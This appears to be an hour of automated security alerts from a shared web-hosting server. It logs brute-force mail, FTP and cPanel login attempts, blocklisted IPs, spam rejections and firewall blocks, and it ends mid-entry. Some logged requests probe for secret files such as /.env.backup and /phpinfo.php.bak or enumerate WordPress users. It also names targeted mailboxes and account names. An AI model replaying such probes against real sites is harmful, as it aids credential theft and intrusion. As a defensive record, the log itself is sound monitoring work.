2026-06-06 09:30:43 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3488: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:31:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3491: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 15.206.92.44
country_id: 1269750
domain: bawasongroup.com
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:waywcbyw||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:32:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3493: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:33:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3496: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:34:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3499: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.26
country_id: 1269750
description:
2026-06-06 09:36:41 dovecot_login authenticator failed for H=(nsg-corporate-89.68.185.122.airtel.in) [182.95.184.26]:39256: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.184.26
country_id: 1269750
description:
Jun  6 09:36:39 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.184.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:35:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3500: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:36:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:13697: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:37:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:13701: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.166
country_id: 130758
description:
Jun  6 09:38:15 ns5 pure-ftpd[2608967]: (?@172.94.9.166) [WARNING] Authentication failed for user [sotranetogo]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 130.12.180.90
country_id: 2750405
description:
[2026-06-06 09:39:28 +0000] info [whostmgrd] 130.12.180.90 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.180.24.180
country_id: 3017382
domain: confortis.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:conforwellty||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-39.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.12.180.90
country_id: 2750405
description:
[2026-06-06 09:39:29 +0000] info [whostmgrd] 130.12.180.90 - root "GET /cpsess7581254489/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Receive Your Deluxe Bonus eropolik.blogspot.hu T0||Email:hope4towns@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:38:54 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:13704: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.249
country_id: 1512440
description:
2026-06-06 09:40:12 H=([213.230.92.249]) [213.230.92.249]:45786 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.184.12.3
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/events/2 HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.234.86.211
country_id: 3437598
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/events/6 HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 192.253.248.18
country_id: 130758
description:
Jun  6 09:40:36 ns5 pure-ftpd[2610834]: (?@192.253.248.18) [INFO] New connection from 192.253.248.18


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 192.253.248.18
country_id: 130758
description:
Jun  6 09:40:40 ns5 pure-ftpd[2610834]: (?@192.253.248.18) [WARNING] Authentication failed for user [togocarrieretsevie]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:39:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:13705: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:40:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:13696: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.227
country_id: 1512440
description:
2026-06-06 09:40:52 H=([213.230.92.227]) [213.230.92.227]:3669 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:41:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:2688: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.254.208.162
country_id: 1880251
domain: butodra.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:vefzejhd||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.98.159
country_id: 6252001
description:
[2026-06-06 09:43:04 +0000] info [cpaneld] 82.40.98.159 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.66
country_id: 130758
description:
Jun  6 09:43:24 ns5 pure-ftpd[2612785]: (?@172.94.9.66) [WARNING] Authentication failed for user [istm]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:42:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:8448: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:43:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:2688: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.66
country_id: 130758
description:
Jun  6 09:44:48 ns5 pure-ftpd[2613572]: (?@172.94.9.66) [WARNING] Authentication failed for user [togofeed]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:44:57 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1792: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.49.18.21
country_id: 3658394
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/locations HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:45:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:8704: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.164.183.114
country_id: 1831722
description:
[2026-06-06 09:46:06 +0000] info [cpaneld] 103.164.183.114 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:46:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:4992: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:47:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:13184: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.43.65.182
country_id: 1814991
description:
Jun  6 09:48:03 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.43.65.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.43.65.182
country_id: 1814991
description:
2026-06-06 09:48:05 dovecot_plain authenticator failed for H=(eq1fqbh17fcmsv38eg4) [171.43.65.182]:37658: 535 Incorrect authentication data (set_id=jnikuekuete@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:48:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:2433: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.32
country_id: 130758
description:
Jun  6 09:49:13 ns5 pure-ftpd[2616771]: (?@172.94.9.32) [WARNING] Authentication failed for user [camegtogo]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.113.27.147
country_id: 1527747
description:
2026-06-06 09:49:52 H=([85.113.27.147]) [85.113.27.147]:56380 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:49:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:2437: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.111.22
country_id: 6252001
description:
[2026-06-06 09:52:34 +0000] info [cpaneld] 82.40.111.22 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.97
country_id: 3996063
description:
Jun  6 09:53:30 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.213.41
country_id: 798544
description:
Jun  6 09:53:29 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.213.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.227
country_id: 1512440
description:
2026-06-06 09:53:32 H=([213.230.92.227]) [213.230.92.227]:36993 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.30.113.9
country_id: 3175395
description:
Jun  6 09:53:28 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.30.113.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.112
country_id: 3469034
description:
Jun  6 09:53:07 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.182
country_id: 3469034
description:
Jun  6 09:53:07 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.51
country_id: 298795
description:
Jun  6 09:53:30 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.51 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.75
country_id: 130758
description:
Jun  6 09:53:02 ns5 pure-ftpd[2619300]: (?@172.94.9.75) [WARNING] Authentication failed for user [catogo]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.79
country_id: 1269750
description:
Jun  6 09:53:08 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.226
country_id: 3469034
description:
Jun  6 09:53:07 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.6.149.29
country_id: 1814991
description:
2026-06-06 09:54:10 H=([122.6.149.29]) [122.6.149.29]:17792 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:55:51 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:10756: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.60.12.196
country_id: 2661886
domain: fomda.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:tgkkwsvr||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:56:52 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:8704: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.6.149.29
country_id: 1814991
description:
2026-06-06 09:59:04 H=([122.6.149.29]) [122.6.149.29]:17741 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.248.188.232
country_id: 2017370
description:
2026-06-06 09:59:29 H=([109.248.188.232]) [109.248.188.232]:51396 F=<John@4452.com> rejected RCPT <evendeur@soena.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.77.130.118
country_id: 174982
description:
2026-06-06 09:58:48 H=([5.77.130.118]) [5.77.130.118]:49999 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.140.232.102
country_id: 719819
description:
Jun  6 10:00:32 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.140.232.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.52.118.204
country_id: 3469034
description:
Jun  6 10:00:35 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.52.118.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.188.61.85
country_id: 3469034
description:
Jun  6 10:00:35 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.188.61.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.248.188.232
country_id: 2017370
description:
2026-06-06 10:00:41 H=([109.248.188.232]) [109.248.188.232]:52795 F=<John@4452.com> rejected RCPT <evendeur@soena.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.196.21
country_id: 3469034
description:
Jun  6 10:00:55 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.196.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.13.140
country_id: 3469034
description:
Jun  6 10:00:57 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.13.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 218.207.155.53
country_id: 1814991
description:
2026-06-06 10:01:22 H=([218.207.155.53]) [218.207.155.53]:3556 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.52.118.204
country_id: 3469034
description:
Jun  6 10:00:49 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.52.118.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.188.61.85
country_id: 3469034
description:
Jun  6 10:00:49 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.188.61.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.112.110
country_id: 226074
description:
Jun  6 10:00:56 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.112.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:01:27 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:14336: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.193.98.144
country_id: 1522867
description:
2026-06-06 10:02:52 H=([0.0.0.0]) [85.193.98.144]:26441 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:05:08 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:10112: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:06:11 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:4864: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:07:12 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:13952: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:08:13 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:14976: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.193.98.144
country_id: 1522867
description:
2026-06-06 10:09:16 H=([0.0.0.0]) [85.193.98.144]:44330 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.15.46.46
country_id: 6252001
domain: www.rbtv77.cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:cloudetracks||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:09:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3200: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.99
country_id: 2921044
description:
2026-06-06 10:09:58 dovecot_plain authenticator failed for H=tor-exit-99.digitalcourage.de (d760x80u4r8v1o569ltiyjo7vwufpegz) [185.220.101.99]:1627: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:10:17 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:12672: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 67.209.139.122
country_id: 1522867
description:
2026-06-06 10:09:50 H=([67.209.139.122]) [67.209.139.122]:29111 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.99
country_id: 2921044
description:
Jun  6 10:09:56 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:11:28 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:13824: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:12:28 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:2050: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:13:32 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:2053: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.124.236.238
country_id: 130758
description:
2026-06-06 10:13:56 H=([5.124.236.238]) [5.124.236.238]:45981 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.84.165.242
country_id: 3469034
description:
Jun  6 10:17:15 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.84.165.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.84.165.242
country_id: 3469034
description:
2026-06-06 10:17:17 dovecot_login authenticator failed for H=([186.200.83.231]) [179.84.165.242]:40724: 535 Incorrect authentication data (set_id=contact@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 67.209.139.122
country_id: 1522867
description:
2026-06-06 10:17:58 H=([67.209.139.122]) [67.209.139.122]:24030 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.174
country_id: 1880251
description:
47.128.96.174 - - [06/Jun/2026:10:22:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080729&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmanuel-neuer%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780741345 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/manuel-neuer/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.174


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 67.209.139.122
country_id: 1522867
description:
2026-06-06 10:23:30 H=([67.209.139.122]) [67.209.139.122]:27734 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 119.13.203.110
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.30 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.54
country_id: 1269750
description:
Jun  6 10:27:25 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.1.213.160
country_id: 1562822
description:
Jun  6 10:28:04 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.1.213.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.1.213.160
country_id: 1562822
description:
2026-06-06 10:28:06 dovecot_plain authenticator failed for H=(ba8gpxqef0gmwop3g) [117.1.213.160]:52165: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:28:41 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:5760: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.118.10
country_id: 2363686
description:
[2026-06-06 10:27:54 +0000] info [webmaild] 196.170.118.10 - kakue@togointerim.net "POST /cpsess9736170996/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.169.29.192] != Current IP Address [196.170.118.10]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:29:44 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:4096: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:30:44 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:15236: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:31:45 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:15237: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:32:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:15239: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun  6 10:35:27 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.243.131
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users/4||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.139.62.44
country_id: 6252001
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:arsjawjaz||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 18.224.139.173
country_id: 6252001
description:
